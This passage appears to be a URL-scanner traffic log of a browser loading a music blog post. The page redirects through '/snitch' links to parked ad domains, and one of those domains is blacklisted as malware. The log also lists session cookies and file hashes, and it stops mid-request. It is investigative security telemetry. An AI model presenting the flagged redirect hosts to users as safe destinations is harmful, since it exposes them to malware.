Server: Golfe2
Content-Length: 17168
Age: 2396
Cache-Control: public, max-age=7200


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   17168
Md5:    01d5892e6e243b52998310c2925b9f3a
Sha1:   58180151b6a6ee4af73583a214b68efb9e8844d4
Sha256: 7e90efb4620a78e8869796d256bcddbde90b853c8c15c5cc116cb11d3d17bc4d
                                        
                                            GET /blog/wp-content/themes/weaver-ii/images/search_button.gif HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/
Cookie: 60gpBAK=R1224191420; 60gp=R4049272857; PHPSESSID=fe869948f42b4cde40ca9e42e4eca3ac

                                         
                                         213.186.33.19
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Set-Cookie: 60gp=R4049272857; path=/; expires=Fri, 14-Dec-2018 23:16:48 GMT
Date: Fri, 14 Dec 2018 22:07:50 GMT
Server: Apache
Last-Modified: Wed, 06 Aug 2014 20:55:56 GMT
Accept-Ranges: bytes
Content-Length: 292
Cache-Control: max-age=900
Expires: Fri, 14 Dec 2018 22:22:50 GMT
X-IPLB-Instance: 17326


--- Additional Info ---
Magic:  GIF image data, version 89a, 30 x 20
Size:   292
Md5:    d5e86e91efaa2874ef7d086faf9e2f33
Sha1:   29d3c7f9b0da6cdc9612a9834f5eacc3af4fc794
Sha256: f70ef46b9456a476a1086b311758533810a14c61a64d982992c987e70dcb9da9
                                        
                                            GET /snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com HTTP/1.1 
Host: c11n4.i.teaserguide.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/

                                         
                                         104.200.22.49
HTTP/1.1 302 Found
Content-Type: text/html; charset=utf-8
                                        
Server: openresty/1.13.6.1
Date: Fri, 14 Dec 2018 22:07:50 GMT
Content-Length: 0
Connection: close
Location: http://www12.teaserguide.com/?
Vary: Accept-Language
Content-Language: en
Set-Cookie: mtm_delivered=WyJ0ZWFzZXJndWlkZS5jb20iLCJodHRwOi8vd3d3MTIudGVhc2VyZ3VpZGUuY29tLz8iLDIsIjIwMTgtMTItMTQgMjI6MDc6NTAiLG51bGwsODYsbnVsbCxudWxsXQ:1gXvcc:Pc7CsxsFUJXH9ktaBiGfyT_hWU4; expires=Fri, 14-Dec-2018 23:07:50 GMT; Max-Age=3600; Path=/


--- Additional Info ---
                                        
                                            GET /snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com HTTP/1.1 
Host: kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/

                                         
                                         103.224.182.252
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
                                        
Date: Fri, 14 Dec 2018 22:07:50 GMT
Server: Apache/2.4.25 (Debian)
Set-Cookie: __tad=1544825270.7152480; expires=Mon, 11-Dec-2028 22:07:50 GMT; Max-Age=315360000
Location: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com
Content-Length: 0
Connection: close


--- Additional Info ---
                                        
                                            GET /? HTTP/1.1 
Host: www12.teaserguide.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/

                                         
                                         185.53.179.29
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Fri, 14 Dec 2018 22:07:51 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Check: 3c12dc4d54f8e22d666785b733b0052100c53444
X-Language: english
X-Template: tpl_CleanPeppermintBlack_oneclick
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   475
Md5:    0b396efa63b7f4f3b51f37655492cb85
Sha1:   d0e7ddd7c2b3d28d9772d5e5af8bd130939eb453
Sha256: 36c315cb9db4d9abeb7086959a29dd97cb58252165be412add6dc7efbccd6412

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: openresty
Date: Fri, 14 Dec 2018 22:07:51 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_gQw6h21Q4na69599QC1XS5wyeKeOE0kYBjkC/xmBasumTTHhpgwRc9CKICndSxOX27Eivf+T/M3LU7r9y+6YMQ==


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   3936
Md5:    e1ec6a601eaa96f62b036d75c49e9aad
Sha1:   9433dce3dd05bbd77fd5377a5742feff8eb92ff2
Sha256: 0014835a58aadbe1a7d1df55ddfc18338e6ad2a2779063bcc1f42ebf44b392fa
                                        
                                            GET /themes/assets/style.css HTTP/1.1 
Host: d1lxhc4jvstzrp.cloudfront.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www12.teaserguide.com/?

                                         
                                         143.204.51.15
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Fri, 14 Dec 2018 11:14:03 GMT
Last-Modified: Mon, 19 Sep 2016 08:03:01 GMT
Etag: W/"57df9bb5-33d"
Content-Encoding: gzip
Vary: Accept-Encoding
Age: 39229
X-Cache: Hit from cloudfront
Via: 1.1 a850dff1d0f5a90907784efc0c02a4fc.cloudfront.net (CloudFront)
X-Amz-Cf-Id: tpYDOPk2BgXvncwPyGO6kfLIOc3e6WTstft_L217spCsLZZUAOEgCw==


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   343
Md5:    c689d30608f974031e2c24c299c8dc4b
Sha1:   b483802c89db0131b6d7768a68c43e5ae411d601
Sha256: 78c58f7b6fb701d9644af4456df21dca0e90d09e88952227d6d178e8d4e5a386
                                        
                                            POST /gsdomainvalsha2g2 HTTP/1.1 
Host: ocsp2.globalsign.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 111
Content-Type: application/ocsp-request

                                         
                                         104.18.20.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 14 Dec 2018 22:07:52 GMT
Content-Length: 1558
Connection: keep-alive
Set-Cookie: __cfduid=d38447f0dfcec7c1e0df1d2a93bce19d61544825272; expires=Sat, 14-Dec-19 22:07:52 GMT; path=/; domain=.globalsign.com; HttpOnly
Last-Modified: Fri, 14 Dec 2018 18:31:00 GMT
Expires: Tue, 18 Dec 2018 18:31:00 GMT
Etag: "398034c0d0b981a8eee3f396247bdc0d930fc91c"
Cache-Control: public, no-transform, must-revalidate, s-maxage=3600
CF-Cache-Status: HIT
Accept-Ranges: bytes
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 4893fc5f34ff42b5-OSL


--- Additional Info ---
Magic:  data
Size:   1558
Md5:    774b7fc57872f73a43412a2dd89de3da
Sha1:   398034c0d0b981a8eee3f396247bdc0d930fc91c
Sha256: e9c6145f0b173421ead3a8c711da6a51cbcca0721a721ae8c590ec1cafb176e7
                                        
                                            GET /adsense/domains/caf.js HTTP/1.1 
Host: www.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         216.58.211.132
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Date: Fri, 14 Dec 2018 22:07:52 GMT
Expires: Fri, 14 Dec 2018 22:07:52 GMT
Cache-Control: private, max-age=3600
Etag: "1054640816027163217"
X-Content-Type-Options: nosniff
Content-Encoding: gzip
Transfer-Encoding: chunked
Server: sffe
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   53989
Md5:    1cecd5cdb952e9d880d1b6b226bc5187
Sha1:   8a7376c6ce223ee5b7e669618709cb81d4ee27ac
Sha256: 8bb39e4c3e470753acc41748a80c907b89f59c5d7488d66c69eaaa14794e44a9
                                        
                                            GET /px.gif?ch=1&rn=4.797119862320938 HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: openresty
Date: Fri, 14 Dec 2018 22:07:52 GMT
Content-Length: 42
Last-Modified: Tue, 11 Dec 2018 19:49:59 GMT
Connection: keep-alive
Etag: "5c1014e7-2a"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   42
Md5:    d89746888da2d9510b64a9f031eaecd5
Sha1:   d5fceb6532643d0d84ffe09c40c481ecdf59e15a
Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
                                        
                                            POST /gsdomainvalsha2g2 HTTP/1.1 
Host: ocsp2.globalsign.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 111
Content-Type: application/ocsp-request
Cookie: __cfduid=d38447f0dfcec7c1e0df1d2a93bce19d61544825272

                                         
                                         104.18.20.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 14 Dec 2018 22:07:52 GMT
Content-Length: 1558
Connection: keep-alive
Last-Modified: Fri, 14 Dec 2018 20:33:48 GMT
Expires: Tue, 18 Dec 2018 20:33:48 GMT
Etag: "68a9174c7c65e8853261f4a6c549463431826bec"
Cache-Control: public, no-transform, must-revalidate, s-maxage=3600
CF-Cache-Status: HIT
Accept-Ranges: bytes
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 4893fc60251242b5-OSL


--- Additional Info ---
Magic:  data
Size:   1558
Md5:    0706c2b0864dbc3234e50912e4c9bf2e
Sha1:   68a9174c7c65e8853261f4a6c549463431826bec
Sha256: 1741fe5679440cebf3dfe16c061de7f4abdbd99e57df55526c351fd858d5fb72
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Cache-Control: max-age=99236
Date: Fri, 14 Dec 2018 22:07:52 GMT
Etag: "5c12eb81-1d7"
Expires: Sun, 16 Dec 2018 01:41:48 GMT
Last-Modified: Thu, 13 Dec 2018 23:30:09 GMT
Server: ECS (ska/F705)
X-Cache: HIT
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    29603e04a1bebe8299d0f1be9346e9cb
Sha1:   24a84a4a91d8ee0161c9b10ebe5abacbaae4c923
Sha256: 605147f69e66794592e1ef4f749d498915ce1782b90cb361c14b8707225b3bd2
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Cache-Control: max-age=153572
Date: Fri, 14 Dec 2018 22:07:52 GMT
Etag: "5c13ae0d-1d7"
Expires: Sun, 16 Dec 2018 16:47:24 GMT
Last-Modified: Fri, 14 Dec 2018 13:20:13 GMT
Server: ECS (ska/F717)
X-Cache: HIT
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    626568678b6bfd0a1e94a2941f5ba025
Sha1:   0995f0a192d9912760193698bd68eb989bc3c224
Sha256: 081db9fedd92f3003dcd3ffa7179f35f811ba006119548d2570383d0e5acf162
                                        
                                            GET /themes/assets/skenzo.css HTTP/1.1 
Host: d1lxhc4jvstzrp.cloudfront.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www12.teaserguide.com/?

                                         
                                         143.204.51.15
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Last-Modified: Mon, 19 Sep 2016 08:03:01 GMT
Content-Encoding: gzip
Date: Fri, 14 Dec 2018 11:15:35 GMT
Etag: "57df9bb5-159"
Vary: Accept-Encoding
Age: 39137
X-Cache: Hit from cloudfront
Via: 1.1 80d21802b1b80c40e55ccf83433b8ead.cloudfront.net (CloudFront)
X-Amz-Cf-Id: EEboIjeT9FzUtsPQH0FUOR28T6NejGyvcEW3hrVLRc7lM2DSqYrbNA==


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   208
Md5:    c2fb482175c53a41861e41226fa2f029
Sha1:   602df898a184b1c5a26897fda150ad95a631423d
Sha256: d5667164154a9ee109c677a9a9d072c45bdf2787440f2174f4a6d484c98c644e
                                        
                                            GET /player.swf?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F61976293 HTTP/1.1 
Host: player.soundcloud.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/

                                         
                                         143.204.47.46
HTTP/1.1 200 OK
Content-Type: application/x-shockwave-flash
                                        
Content-Length: 239320
Connection: keep-alive
Date: Wed, 25 Jul 2018 16:48:24 GMT
Last-Modified: Tue, 31 Jan 2017 12:42:31 GMT
Etag: "7c76b7bd1ac8cef0a9da619038553769"
Cache-Control: public,max-age=28800
Accept-Ranges: bytes
Server: AmazonS3
Age: 14981
X-Cache: Hit from cloudfront
Via: 1.1 f00e3524edcdf61801454f2bb21e71ce.cloudfront.net (CloudFront)
X-Amz-Cf-Id: jodOjhViEn2PCXXoYEWycsRMwVb4_6e-MeH_iKIDlTwbrjXtCqfSzw==


--- Additional Info ---
Magic:  Macromedia Flash data (compressed), version 10
Size:   239320
Md5:    7c76b7bd1ac8cef0a9da619038553769
Sha1:   7d4f3731da66d8e3f0b303c6fd38cab410da67e8
Sha256: 7e2c55481f3d26d1079161c3fcb163b63ee666d88cf4dfef05cfe1aded1fb4b4
                                        
                                            GET /?dn=teaserguide.com&pid=9PO755G95 HTTP/1.1 
Host: iyfsearch.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www12.teaserguide.com/?

                                         
                                         208.91.196.46
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Date: Fri, 14 Dec 2018 22:07:52 GMT
Server: Apache
ntCoent-Length: 271
Keep-Alive: timeout=5, max=127
Connection: Keep-Alive
Cache-Control: private
Content-Encoding: gzip
Content-Length: 195


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   195
Md5:    5b688e82c6e4ba74ad00c05ab297d1cd
Sha1:   e764bb721d4e1e57f35b27e749c816c25ac59cfb
Sha256: 8b905ef4cc0c01e584098998b820dec64c25f4ebd2a2c799755be820b737c6bb
                                        
                                            GET /EmbeddedPlayer/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/ HTTP/1.1 
Host: bandcamp.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/

                                         
                                         151.101.193.28
HTTP/1.1 303 See Other
                                        
Server: nginx
Set-Cookie: client_id=37EA3D7087CAD02B9F934ECCEB75652C80F2618FAB434C1CEBF9E1B7B0D08AB9; domain=.bandcamp.com; path=/; expires=Thu, 14 Dec 2028 22:07:52 -0000 BACKENDID=bender02-4; path=/; domain=.bandcamp.com
Location: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fblog%252F2012%252F09%252F18%252Fle-polair%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/
Accept-Ranges: bytes, bytes
Transfer-Encoding: chunked
Date: Fri, 14 Dec 2018 22:07:52 GMT
Via: 1.1 varnish
Connection: keep-alive
X-Served-By: cache-bma1637-BMA
X-Cache: MISS
X-Cache-Hits: 0
X-Timer: S1544825272.341419,VS0,VE152


--- Additional Info ---
Magic:  ASCII text, with very long lines, with no line terminators
Size:   508
Md5:    8fd6607dd6fa11d5a1106315164b7bf8
Sha1:   58abbc83977b43fb3802214ca0f486a38827aa52
Sha256: 764922b6baf49c3c651fba6bd87cacb77c619034ae75b486dc4a2a7397eecc17
                                        
                                            GET /en_US/all.js?hash=f1ecfc51417c47531a97bb561b4f2063 HTTP/1.1 
Host: connect.facebook.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Expose-Headers: X-FB-Content-MD5
x-fb-content-md5: ff2c5670b2b894693403f80c15b13e5d
Expires: Sat, 14 Dec 2019 20:16:20 GMT
Cache-Control: public,max-age=31536000,stale-while-revalidate=3600,immutable
Strict-Transport-Security: max-age=31536000; preload; includeSubDomains
Content-Encoding: gzip
timing-allow-origin: *
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Etag: "5dae210836a802c0b95587e0358f5094"
X-XSS-Protection: 0
Content-MD5: QQMiJa+26JFPm5txFCvlRw==
X-FB-Debug: lpOsj2Sq1O9iWY3ba2mx4/kG+7VuKe7v1cRFKf8MqXJ5Fdoevn85e+MnjBU+/naBDP/7PGXIBc7eAA74shcodw==
Date: Fri, 14 Dec 2018 22:07:52 GMT
Connection: keep-alive
Content-Length: 57977


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   57977
Md5:    41032225afb6e8914f9b9b71142be547
Sha1:   c57d0e0d65a13368c69287e27515fdd81f265105
Sha256: fb90b1bf162b465ca36c61d0683eb748f559ac919d388ed5460435fb111fef94
                                        
                                            GET /snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com HTTP/1.1 
Host: kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/

                                         
                                         103.224.182.252
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
                                        
Date: Fri, 14 Dec 2018 22:07:52 GMT
Server: Apache
X-Powered-By: PHP/5.6.38-0+deb8u1
Set-Cookie: __tad=1544825272.8629682; expires=Mon, 11-Dec-2028 22:07:52 GMT; Max-Age=315360000
Location: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com
Content-Length: 0
Connection: close


--- Additional Info ---
                                        
                                            GET /EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fblog%252F2012%252F09%252F18%252Fle-polair%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/ HTTP/1.1 
Host: bandcamp.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/
Cookie: client_id=37EA3D7087CAD02B9F934ECCEB75652C80F2618FAB434C1CEBF9E1B7B0D08AB9; BACKENDID=bender02-4

                                         
                                         151.101.193.28
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Content-Encoding: gzip
Accept-Ranges: bytes, bytes
Age: 0, 0
Transfer-Encoding: chunked
Date: Fri, 14 Dec 2018 22:07:52 GMT
Via: 1.1 varnish
Connection: keep-alive
X-Served-By: cache-bma1637-BMA
X-Cache: MISS
X-Cache-Hits: 0
X-Timer: S1544825273.557880,VS0,VE163
Vary: Accept-Encoding


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   9574
Md5:    b5d58959c8928c2866d9513e14160f5b
Sha1:   2c3f3c32afb61167346e01b1739e8afca993f9ed
Sha256: d05724b73aa434e793dacf39f5de9417230bf7729af703e7c713ff0b95fafd3f
                                        
                                            GET /snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: openresty
Date: Fri, 14 Dec 2018 22:07:52 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_gQw6h21Q4na69599QC1XS5wyeKeOE0kYBjkC/xmBasumTTHhpgwRc9CKICndSxOX27Eivf+T/M3LU7r9y+6YMQ==


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   3936
Md5:    e1ec6a601eaa96f62b036d75c49e9aad
Sha1:   9433dce3dd05bbd77fd5377a5742feff8eb92ff2
Sha256: 0014835a58aadbe1a7d1df55ddfc18338e6ad2a2779063bcc1f42ebf44b392fa
                                        
                                            GET /connect/xd_arbiter/r/LviKjJ9cymB.js?version=43 HTTP/1.1 
Host: staticxx.facebook.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
